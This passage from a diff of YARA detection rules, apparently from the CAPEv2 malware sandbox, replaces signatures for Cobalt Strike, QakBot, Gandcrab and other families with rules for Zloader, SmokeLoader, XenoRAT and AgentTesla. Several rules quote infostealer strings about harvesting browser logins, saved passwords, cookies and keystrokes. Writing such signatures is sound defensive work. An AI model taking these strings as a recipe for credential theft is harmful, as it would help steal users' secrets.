FROM credit_cards" wide - $sql3 = "SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins" wide - $sql4 = "SELECT address FROM ConversationRecipients" wide - $sql5 = "SELECT address FROM ConversationSenders" wide - $app1 = "Application : Pidgin" wide - $app2 = "Application: CoreFTP" wide - $app3 = "Application: WinSCP" wide - $app4 = "Application: Outlook" wide - $app5 = "Application : FileZilla" fullword wide - $fingerprint1 = "Computer Name: " fullword wide - $fingerprint2 = "OS FullName: " fullword wide - $fingerprint3 = "CPU: " fullword wide - $fingerprint4 = "SELECT * FROM Win32_Processor" fullword wide - $fingerprint5 = "SELECT * FROM Win32_OperatingSystem" fullword wide + $a1 = "WHO_A_R_E_YOU?" + $a2 = "DUDE_AM_I_SHARP-3.14159265358979" + $a3 = "USERMODECMD" condition: - uint16( 0 ) == 0x5a4d and ( $darkcloud1 and 1 of ( $creds* ) or ( 3 of ( $creds* ) and 1 of ( $sql* ) ) or ( 2 of ( $sql* ) and 2 of ( $app* ) ) or ( 2 of ( $creds* ) and 2 of ( $fingerprint* ) ) or ( 2 of ( $app* ) and 2 of ( $fingerprint* ) and 1 of ( $sql* ) ) ) + uint16( 0 ) == 0x5A4D and ( all of ( $a* ) ) } -rule CAPE_Cobaltstrikestager +rule CAPE_Zloader_1 : FILE { meta: - description = "Cobalt Strike Stager Payload" - author = "@dan__mayer " - id = "eedf71b1-9f27-5a6f-afe8-3ddae47f9a06" - date = "2023-01-18" - modified = "2023-01-18" + description = "Zloader Payload" + author = "kevoreilly, enzok" + id = "a4250532-ddfc-58c2-bbae-82cc201d0c5d" + date = "2020-04-04" + modified = "2025-12-09" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/CobaltStrikeStager.yar#L1-L15" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "6a55b0c3ab5f557dfb7a3f8bd616ede1bd9b93198590fc9d52aa19c1154388c5" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Zloader.yar#L1-L18" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "adbd0c7096a7373be82dd03df1aae61cb39e0a155c00bbb9c67abc01d48718aa" + logic_hash = "525670973b67aac048199529c97d6be00b0a8cca9bc90deb647366d92a5ea540" score = 75 quality = 70 - tags = "" - cape_type = "CobaltStrikeStager Payload" + tags = "FILE" + cape_type = "Zloader Payload" strings: - $smb = { 68 00 B0 04 00 68 00 B0 04 00 6A 01 6A 06 6A 03 52 68 45 70 DF D4 } - $http_x86 = { 68 6E 65 74 00 68 77 69 6E 69 54 68 4C 77 26 07 } - $http_x64 = { 49 BE 77 69 6E 69 6E 65 74 00 41 56 49 89 E6 4C 89 F1 41 BA 4C 77 26 07 } - $dns = { 68 00 10 00 00 68 FF FF 07 00 6A 00 68 58 A4 53 E5 } + $rc4_init = {31 [1-3] 66 C7 8? 00 01 00 00 00 00 90 90 [0-5] 8? [5-90] 00 01 00 00 [0-15] (74|75)} + $decrypt_conf = {83 C4 04 84 C0 74 5? E8 [4] E8 [4] E8 [4] E8 [4] ?8 [4] ?8 [4] ?8} + $decrypt_conf_1 = {48 8d [5-11] e8 [4] 48 [3-4] 48 [3-4] 48 [6] E8} + $decrypt_conf_2 = {48 8d [5] 4? [5] e8 [4] 48 [3-4] 48 8d [5] E8 [4] 48} + $decrypt_key_1 = {66 89 C2 4? 8D 0D [3] 00 4? B? FC 03 00 00 E8 [4] 4? 83 C4 [1-2] C3} + $decrypt_key_2 = {48 8d 0d [3] 00 66 89 ?? 4? 89 F0 4? [2-5] E8 [4-5] 4? 83 C4} + $decrypt_key_3 = {48 8d 0d [3] 00 e8 [4] 66 89 [3] b? [4] e8 [4] 66 8b} condition: - any of them + uint16( 0 ) == 0x5A4D and 1 of ( $decrypt_conf* ) and ( 1 of ( $decrypt_key* ) or $rc4_init ) } -rule CAPE_Koiloader +rule CAPE_Zloader2024 : FILE { meta: - description = "KoiLoader" - author = "YungBinary" - id = "258e8857-7ea6-5098-9949-06d9d83853d4" - date = "2024-10-25" - modified = "2024-10-25" + description = "Zloader Payload" + author = "enzok" + id = "f99d0994-d4a4-577b-916d-7eaa98e7c331" + date = "2020-04-04" + modified = "2025-12-09" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/KoiLoader.yar#L1-L35" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "b462e3235c7578450b2b56a8aff875a3d99d22f6970a01db3ba98f7ecb6b01a0" - logic_hash = "264a536632f8f11c904b00c9d2e505b3263c733ad8fbc2ef19c25a5ad58cef90" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Zloader.yar#L20-L34" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "49405370a33abbf131c5d550cebe00780cc3fd3cbe888220686582ae88f16af7" + logic_hash = "27d883f6d6cab07e602f97a0a032a152386693f79dabf1bb87b0a8a053a38b03" score = 75 quality = 70 - tags = "" - cape_type = "KoiLoader Payload" + tags = "FILE" + cape_type = "Zloader Payload" strings: - $chunk_1 = { - 68 27 11 68 05 - 8B 45 ?? - 50 - E8 ?? ?? ?? ?? - 83 C4 08 - 89 45 ?? - 68 15 B1 B3 09 - 8B 4D ?? - 51 - E8 ?? ?? ?? ?? - 83 C4 08 - 89 45 ?? - 68 B5 96 AA 0D - 8B 55 ?? - 52 - E8 ?? ?? ?? ?? - 83 C4 08 - 89 45 ?? - 6A 00 - FF 15 ?? ?? ?? ?? - } + $conf_1 = {48 01 ?? 48 8D 15 [4] 41 B8 ?? 04 00 00 E8 [4] [0-5] C7 [1-2] 00 00 00 00} + $confkey_1 = {48 8D 15 [4] 48 89 ?? 49 89 ?? E8 [4] [0-5] C7 [1-2] 00 00 00 00} + $confkey_2 = {48 01 ?? 48 8D 15 [4] 41 B8 10 00 00 00 E8 [4] [0-5] C7 [1-2] 00 00 00 00 (48 8B|8B)} + $confkey_3 = {48 01 ?? 48 8D 15 [4] 41 B8 10 00 00 00 E8 [4] [0-5] C7 [1-2] 00 00 00 00 48 83 C4} condition: - $chunk_1 + uint16( 0 ) == 0x5A4D and $conf_1 and 2 of ( $confkey_* ) } -rule CAPE_Obfuscar : FILE +rule CAPE_Zloader2025 : FILE { meta: - description = "Obfuscar xor routime" - author = "kevoreilly" - id = "81eeb62f-578f-5c75-bc96-091d5727a20a" - date = "2025-03-07" - modified = "2025-03-07" + description = "Zloader Payload" + author = "enzok" + id = "dd6ee439-9599-564c-8841-94bd89ae2db0" + date = "2020-04-04" + modified = "2025-12-09" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Obfuscar.yar#L1-L12" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "54581e83e5fa13fae4bda74016b3fa1d18c92e2659f493ebe54d70fd5f77bba5" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Zloader.yar#L36-L49" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "86ffd411b42d8d06bdb294f48e79393adeea586c56c5c75c1a68ce6315932881" + logic_hash = "cc9c39f0b5e7e8c8853982d9c896bbaac5a36bb0f501c8901d8854f2d5e1a19c" score = 75 quality = 70 tags = "FILE" + cape_type = "Zloader Payload" strings: - $decode = {06 91 06 61 20 [4] 61 D2 9C 06 17 58 0A 06 7E [4] 8E 69 FE 04 2D ?? 2A} + $conf = {4? 01 ?? [4] E8 [4] 4? 8D 15 [4] 4? 89 ?? 4? 89 ?? E8 [4] C7 46 30 00 00 00 00 8B 7E 34} + $confkey_1 = {4? 01 ?? [2] E8 [4] 4? 8D 15 [4] 4? 89 ?? 4? 89 ?? E8 [4] C7 46 34 00 00 00 00 8B 46 38} + $confkey_2 = {4? 01 ?? [2] E8 [4] 4? 8D 15 [4] 4? 89 ?? 4? 89 ?? E8 [4] C7 46 38 00 00 00 00 48 83 C4 28} condition: - uint16( 0 ) == 0x5A4D and any of them + uint16( 0 ) == 0x5A4D and $conf and all of ( $confkey_* ) } -rule CAPE_Ramnit : FILE +rule CAPE_Smokeloader { meta: - description = "Ramnit Payload" + description = "SmokeLoader Payload" author = "kevoreilly" - id = "6df92055-05f6-5985-9268-b9c85e143567" + id = "33c11a73-30d5-507b-af12-14708fa96640" date = "2019-10-30" - modified = "2019-10-30" + modified = "2025-11-19" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Ramnit.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "6f661f47bdf8377b0fb96f190fcb964c0ed2b43ce7ae7880f9dfce9e43837efd" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/SmokeLoader.yar#L1-L16" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "8e2f95af9b25ccfd8ad7b56f75a37bb085bde1b2feda2e6502568e86c928ed68" score = 75 quality = 70 - tags = "FILE" - cape_type = "Ramnit Payload" + tags = "" + cape_type = "SmokeLoader Payload" strings: - $DGA = {33 D2 B9 1D F3 01 00 F7 F1 8B C8 B8 A7 41 00 00 F7 E2 8B D1 8B C8 B8 14 0B 00 00 F7 E2 2B C8 33 D2 8B C1 8B} - $xor_loop = {83 7D 0C 00 74 27 83 7D 14 00 74 21 8B 4D 0C 8B 7D 08 8B 75 10 BA 00 00 00 00 0B D2 75 04 8B 55 14 4A 8A 1C 32 32 1F 88 1F 47 4A E2 ED} - $id_string = "{%08X-%04X-%04X-%04X-%08X%04X}" + $rc4_decrypt64_1 = {41 8D 41 01 44 0F B6 C8 42 0F B6 [2] 41 8D 04 12 44 0F B6 D0 42 8A [2] 42 88 [2] 42 88 [2] 42 0F B6 [2] 03 CA 0F B6 C1 8A [2] 30 0F 48 FF C7 49 FF CB 75} + $rc4_decrypt64_2 = {03 C8 8B C1 89 44 [2] 0F B6 8C [2] 01 00 00 33 D2 8B 04 24 F7 F1 8B C2 8B C0 48 8B 8C [2] 01 00 00 0F B6 04 01 8B 4C [2] 03 C8 8B C1 25 FF 00 00 00} + $rc4_decrypt64_3 = {8B 04 ?? FF C0 25 FF 00 00 00 89 04 ?? 8B 04 ?? 0F B6 44 [2] 8B 4C [2] 03 C8 8B C1 25 FF 00 00 00} + $rc4_decrypt32 = {47 B9 FF 00 00 00 23 F9 8A 54 [2] 0F B6 C2 03 F0 23 F1 8A 44 [2] 88 44 [2] 88 54 [2] 0F B6 4C [2] 0F B6 C2 03 C8 81 E1 FF 00 00 00 8A 44 [2] 30 04 2B 43 3B 9C 24 [4] 72 C0} + $fetch_c2_64 = {74 ?? B? E8 03 00 00 B9 58 02 00 00 FF [5] 48 (FF C?|83 EF 01) 75 (F0|EF)} + $fetch_c2_32 = {8B 96 [2] (00|01) 00 8B CE 5E 8B 14 95 [4] E9} condition: - uint16( 0 ) == 0x5A4D and all of ( $* ) + 2 of them } -rule CAPE_Gandcrab : FILE +rule CAPE_Xenorat { meta: - description = "Gandcrab Payload" - author = "kevoreilly" - id = "0082e8c9-952e-508c-a438-4e17b8031864" - date = "2019-10-30" - modified = "2022-06-09" + description = "No description has been set in the source file - CAPE" + author = "jeFF0Falltrades" + id = "9708158d-06fc-5991-a084-df2bfe1d5c96" + date = "2024-10-09" + modified = "2024-10-09" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Gandcrab.yar#L1-L14" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "354ed566dbafbe8e9531bb771d9846952eb8c0e70ee94c26d09368159ce4142c" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/XenoRAT.yar#L1-L14" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "26f520fb69a52d05786fac0e9e38f5db9601da0a3e7768e00975a9684f3560ef" score = 75 - quality = 70 - tags = "FILE" - cape_type = "Gandcrab Payload" + quality = 66 + tags = "" + cape_type = "XenoRAT payload" strings: - $string1 = "GDCB-DECRYPT.txt" wide - $string2 = "GandCrabGandCrabnomoreransom.coinomoreransom.bit" - $string3 = "action=result&e_files=%d&e_size=%I64u&e_time=%d&" wide - $string4 = "KRAB-DECRYPT.txt" wide + $str_xeno_rat_1 = "xeno rat" wide ascii nocase + $str_xeno_rat_2 = "xeno_rat" wide ascii nocase + $str_xeno_update_mgr = "XenoUpdateManager" wide ascii + $str_nothingset = "nothingset" wide ascii + $byte_enc_dec_pre = { 1f 10 8d [4] (0a | 0b) } + $patt_config = { 72 [3] 70 80 [3] 04 } condition: - uint16( 0 ) == 0x5A4D and any of ( $string* ) + 4 of them and #patt_config >= 5 } -rule CAPE_Ursnifv3_1 : FILE +rule CAPE_Agent_Tesla { meta: - description = "UrsnifV3 Payload" - author = "kevoreilly" - id = "9dd32f80-b535-52a3-91e1-4db005362fd4" - date = "2022-05-31" - modified = "2023-03-23" + description = "Detecting HTML strings used by Agent Tesla malware" + author = "Stormshield" + id = "5383994b-357d-539b-89b1-53be238f759d" + date = "2019-10-30" + modified = "2026-01-14" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/UrsnifV3.yar#L1-L18" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "501cd52388aba16f9d33b4555f310e1ad58326916b15358a485c701acb87abd8" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/AgentTesla.yar#L1-L17" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "3945754129dcc58e0abfd7485f5ff0c0afdd1078ae2cf164ca8f59a6f79db1be" score = 75 quality = 70 - tags = "FILE" - cape_type = "UrsnifV3 Payload" - packed = "75827be0c600f93d0d23d4b8239f56eb8c7dc4ab6064ad0b79e6695157816988" - packed = "5d6f1484f6571282790d64821429eeeadee71ba6b6d566088f58370634d2c579" + tags = "" + version = "1.0" strings: - $crypto32_1 = {8B C3 83 EB 01 85 C0 75 0D 0F B6 16 83 C6 01 89 74 24 14 8D 58 07 8B C2 C1 E8 07 83 E0 01 03 D2 85 C0 0F 84 AB 01 00 00 8B C3 83 EB 01 85 C0 89 5C 24 20 75 13 0F B6 16 83 C6 01 BB 07 00 00 00} - $crypto32_2 = {8B 45 ?? 0F B6 3? FF 45 [2-4] 8B C? 23 C? 40 40 D1 E? 7?} - $crypto32_3 = {F6 46 03 02 75 5? 8B 46 10 40 50 E8 [10-12] 74 ?? F6 46 03 01 74} - $crypto32_4 = {C7 44 24 10 01 00 00 00 8B 4? 10 [12] 8B [2] 89 01 8B 44 24 10 5F 5E 5B 8B E5 5D C2 0C 00} - $cpuid = {8B C4 FF 18 8B F0 33 C0 0F A2 66 8C D8 66 8E D0 8B E5 8B C6 5E 5B 5D C3} - $cape_string = "cape_options" + $html_username = "
UserName      : " wide ascii + $html_pc_name = "
PC Name       : " wide ascii + $html_os_name = "
OS Full Name  : " wide ascii + $html_os_platform = "
OS Platform   : " wide ascii + $html_clipboard = "
[clipboard]" wide ascii condition: - uint16( 0 ) == 0x5A4D and 1 of ( $crypto32_* ) and $cpuid and not $cape_string + 3 of them } -rule CAPE_Qakbot5_1 : FILE +rule CAPE_Agenttesla : FILE { meta: - description = "QakBot v5 Payload" - author = "kevoreilly, enzok" - id = "48866cdd-f60e-50b8-85f9-573710934b0b" + description = "AgentTesla Payload" + author = "kevoreilly" + id = "f7b930f1-cecb-5d80-809b-9503f282247a" date = "2019-10-30" - modified = "2024-04-28" + modified = "2026-01-14" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/QakBot.yar#L1-L15" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "59559e97962e40a15adb2237c4d01cfead03623aff1725616caeaa5a8d273a35" - logic_hash = "cc23a92f45619d44af824128b743c259dd9dfa7cb5106932f3425f3dfd1dccdf" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/AgentTesla.yar#L19-L41" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "1bf9b26c4cf87e674ddffabe40aba5a45499c6a04d4ff3e43c3cda4cbcb4d188" score = 75 quality = 70 tags = "FILE" - cape_type = "QakBot Payload" - packed = "f4bb0089dcf3629b1570fda839ef2f06c29cbf846c5134755d22d419015c8bd2" + cape_type = "AgentTesla Payload" strings: - $loop = {8B 75 ?? 48 8B 4C [2] FF 15 [4] 48 8B 4C [2] 48 8B 01 FF 50 ?? 8B DE 48 8B 4C [2] 48 85 C9 0F 85 [4] EB 4E} - $c2list = {0F B7 1D [4] B? [2] 00 00 E8 [4] 8B D3 4? 89 45 ?? 4? 33 C9 4? 8D 0D [4] 4? 8B C0 4? 8B F8 E8} - $campaign = {0F B7 1D [4] B? [2] 00 00 E8 [4] 8B D3 4? 89 44 24 ?? 4? 33 C9 4? 8D 0D [4] 4? 8B C0 4? 8B F8 E8} + $string1 = "smtp" wide + $string2 = "appdata" wide + $string3 = "76487-337-8429955-22614" wide + $string4 = "yyyy-MM-dd HH:mm:ss" wide + $string6 = "webpanel" wide + $string7 = "
UserName      :" wide + $string8 = "
IP Address  :" wide + $agt1 = "IELibrary.dll" ascii + $agt2 = "C:\\Users\\Admin\\Desktop\\IELibrary\\IELibrary\\obj\\Debug\\IELibrary.pdb" ascii + $agt3 = "GetSavedPasswords" ascii + $agt4 = "GetSavedCookies" ascii condition: - uint16( 0 ) == 0x5A4D and 2 of them + uint16( 0 ) == 0x5A4D and ( all of ( $string* ) or 3 of ( $agt* ) ) } -rule CAPE_Qakbot4_1 : FILE +rule CAPE_Agentteslav2 : FILE { meta: - description = "QakBot v4 Payload" - author = "kevoreilly" - id = "d2c5316c-22cc-5b6d-b6a2-b1d23a06d16b" + description = "AgenetTesla Type 2 Keylogger payload" + author = "ditekshen" + id = "e60ecee4-0a97-56a1-b21e-47190f8cd1f8" date = "2019-10-30" - modified = "2024-04-28" + modified = "2026-01-14" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/QakBot.yar#L17-L35" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "b2870e33abffbb3ff49b7891b0f5c538ab48ee63da5553929d4e37dec921344f" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/AgentTesla.yar#L43-L67" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "b45296b3b94fa1ff32de48c94329a17402461fb6696e9390565c4dba9738ed78" score = 75 quality = 70 tags = "FILE" - cape_type = "QakBot Payload" + cape_type = "AgentTesla Payload" strings: - $crypto1 = {8B 5D 08 0F B6 C2 8A 16 0F B6 1C 18 88 55 13 0F B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08 49 81 C9 00 FF FF FF 41} - $sha1_1 = {5? 33 F? [0-9] 89 7? 24 ?? 89 7? 24 ?? 8? [1-3] 24 [1-4] C7 44 24 ?0 01 23 45 67 C7 44 24 ?4 89 AB CD EF C7 44 24 ?8 FE DC BA 98 C7 44 24 ?C 76 54 32 10 C7 44 24 ?0 F0 E1 D2 C3} - $sha1_2 = {33 C0 C7 01 01 23 45 67 89 41 14 89 41 18 89 41 5C C7 41 04 89 AB CD EF C7 41 08 FE DC BA 98 C7 41 0C 76 54 32 10 C7 41 10 F0 E1 D2 C3 89 41 60 89 41 64 C3} - $anti_sandbox1 = {8D 4? FC [0-1] E8 [4-7] E8 [4] 85 C0 7E (04|07) [4-7] 33 (C0|D2) 74 02 EB FA} - $anti_sandbox2 = {8D 45 ?? 50 E8 [2] 00 00 59 68 [4] FF 15 [4] 89 45 ?? 83 7D ?? 0F 76 0C} - $decrypt_config1 = {FF 37 83 C3 EC 53 8B 5D 0C 8D 43 14 50 6A 14 53 E8 ?? ?? ?? ?? 83 C4 14 85 C0 ?? 26 ?? ?? 86 20 02 00 00 66 85 C0 ?? ?? FF 37 FF 75 10 53} - $decrypt_config2 = {8B 45 08 8B 88 24 04 00 00 51 8B 55 10 83 EA 14 52 8B 45 0C 83 C0 14 50 6A 14 8B 4D 0C 51 E8 6C 08 00 00} - $decrypt_config3 = {6A 13 8B CE 8B C3 5A 8A 18 3A 19 75 05 40 41 4A 75 F5 0F B6 00 0F B6 09 2B C1 74 05 83 C8 FF EB 0E} - $call_decrypt = {83 7D ?? 00 56 74 0B FF 75 10 8B F3 E8 [4] 59 8B 45 0C 83 F8 28 72 19 8B 55 08 8B 37 8D 48 EC 6A 14 8D 42 14 52 E8} + $s1 = "get_kbHook" ascii + $s2 = "GetPrivateProfileString" ascii + $s3 = "get_OSFullName" ascii + $s4 = "get_PasswordHash" ascii + $s5 = "remove_Key" ascii + $s6 = "FtpWebRequest" ascii + $s7 = "logins" fullword wide + $s8 = "keylog" fullword wide + $s9 = "1.85 (Hash, version 2, native byte-order)" wide + $cl1 = "Postbox" fullword ascii + $cl2 = "BlackHawk" fullword ascii + $cl3 = "WaterFox" fullword ascii + $cl4 = "CyberFox" fullword ascii + $cl5 = "IceDragon" fullword ascii + $cl6 = "Thunderbird" fullword ascii condition: - uint16( 0 ) == 0x5A4D and any of ( $* ) + ( uint16( 0 ) == 0x5a4d and 6 of ( $s* ) ) or ( 6 of ( $s* ) and 2 of ( $cl* ) ) } -rule CAPE_Masslogger : FILE +rule CAPE_Agentteslav3 : FILE { meta: - description = "MassLogger" - author = "kevoreilly" - id = "0743421a-36f7-5b7c-859f-b461511151cb" - date = "2020-10-20" - modified = "2020-11-24" + description = "AgentTeslaV3 infostealer payload" + author = "ditekshen" + id = "c8ddd838-6ad4-56f3-a0cd-b890f809018c" + date = "2019-10-30" + modified = "2026-01-14" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/MassLogger.yar#L1-L12" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "c8d82694810aafbdc6a35a661e7431e9536035e2f7fef90b9359064c4209b66c" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/AgentTesla.yar#L69-L115" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "cc9bbbcf3608b49a76b098acf846ff03eae5e9cb107697627d62661fa1be36c2" score = 75 quality = 70 tags = "FILE" - cape_type = "MassLogger Payload" + cape_type = "AgentTesla payload" strings: - $name = "MassLogger" - $fody = "Costura" + $s_specific1 = "get_kbok" fullword ascii + $s_specific2 = "get_CHoo" fullword ascii + $s_specific3 = "KillTorProcess" fullword ascii + $s_specific4 = "GetMozilla" ascii + $s_specific5 = "torbrowser" wide + $s_specific6 = "bot%telegramapi%" wide + $s_specific7 = "%chatid%" wide + $s_typo = "set_Lenght" fullword ascii + $m1 = "yyyy-MM-dd hh-mm-ssCookieapplication/zipSCSC_.jpegScreenshotimage/jpeg/log.tmpKLKL_.htmlLogtext/html[]Time" ascii + $m2 = "%image/jpg:Zone.Identifier\\tmpG.tmp%urlkey%-f \\Data\\Tor\\torrcp=%PostURL%127.0.0.1POST+%2B" ascii + $m3 = ">{CTRL}Windows RDPcredentialpolicyblobrdgchrome{{{0}}}CopyToComputeHashsha512CopySystemDrive\\WScript.ShellRegReadg401" ascii + $m4 = "%startupfolder%\\%insfolder%\\%insname%/\\%insfolder%\\Software\\Microsoft\\Windows\\CurrentVersion\\Run%insregname%SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\RunTruehttp" ascii + $m5 = "\\WindowsLoad%ftphost%/%ftpuser%%ftppassword%STORLengthWriteCloseGetBytesOpera" ascii + $s_generic1 = "set_UseShellExecute" fullword ascii + $s_generic2 = "set_IsBodyHtml" fullword ascii + $s_generic3 = "set_AllowAutoRedirect" fullword ascii + $s_generic4 = "set_RedirectStandardOutput" fullword ascii condition: - uint16( 0 ) == 0x5A4D and 2 of them + (2 of ( $m* ) ) or ( uint16( 0 ) == 0x5a4d and ( 5 of ( $s_specific* ) or ( $s_typo and 4 of ( $s_generic* ) ) ) ) } -rule CAPE_Azorult : FILE +rule CAPE_Agentteslav4 : FILE { meta: - description = "Azorult Payload" + description = "AgentTesla Payload" author = "kevoreilly" - id = "ca76ec00-001f-56d0-bdbc-9dfd3239fba8" + id = "a39109ca-84cb-527d-b9c2-d8763fa6e496" date = "2019-10-30" - modified = "2022-06-09" + modified = "2026-01-14" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Azorult.yar#L1-L12" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "4691cf48d513d1965416b0cce1b6e19c8f7b393a940afd68b7c6ca8c0d125d90" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/AgentTesla.yar#L117-L130" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "0a39036f408728ab312a54ff3354453d171424f57f9a8f3b42af867be3037ca9" score = 75 quality = 70 tags = "FILE" - cape_type = "Azorult Payload" + cape_type = "AgentTesla Payload" + packed = "7f8a95173e17256698324886bb138b7936b9e8c5b9ab8fffbfe01080f02f286c" strings: - $code1 = {C7 07 3C 00 00 00 8D 45 80 89 47 04 C7 47 08 20 00 00 00 8D 85 80 FE FF FF 89 47 10 C7 47 14 00 01 00 00 8D 85 00 FE FF FF 89 47 1C C7 47 20 80 00 00 00 8D 85 80 FD FF FF 89 47 24 C7 47 28 80 00 00 00 8D 85 80 F5 FF FF 89 47 2C C7 47 30 00 08 00 00 8D 85 80 F1 FF FF 89 47 34 C7 47 38 00 04 00 00 57 68 00 00 00 90} - $string1 = "SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),\"unixepoch\")" + $decode1 = {(07|FE 0C 01 00) (07|FE 0C 01 00) 8E 69 (17|20 01 00 00 00) 63 8F ?? 00 00 01 25 47 (06|FE 0C 00 00) (1A|20 04 00 00 00) 58 4A D2 61 D2 52} + $decode2 = {(07|FE 0C 01 00) (08|FE 0C 02 00) 8F ?? 00 00 01 25 47 (07|FE 0C 01 00) (11 07|FE 0C 07 00) 91 (06|FE 0C 00 00) (1A|20 04 00 00 00) 58 4A 61 D2 61 D2 52} + $decode3 = {(07|FE 0C 01 00) (11 07|FE 0C 07 00) 8F ?? 00 00 01 25 47 (07|FE 0C 01 00) (08|FE 0C 02 00) 91 61 D2 52} condition: uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Rokrat : FILE +rule CAPE_Squirrelwaffle : FILE { meta: - description = "RokRat Payload" - author = "kevoreilly" - id = "12e05b90-9771-5901-ae82-9fd2ea6263e7" - date = "2019-10-30" - modified = "2022-06-09" + description = "No description has been set in the source file - CAPE" + author = "kevoreilly & R3MRUM" + id = "0ae75f24-7a2a-57d3-8c6f-a61ac6cc08e7" + date = "2021-09-22" + modified = "2021-10-13" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/RokRat.yar#L1-L12" - license_url = 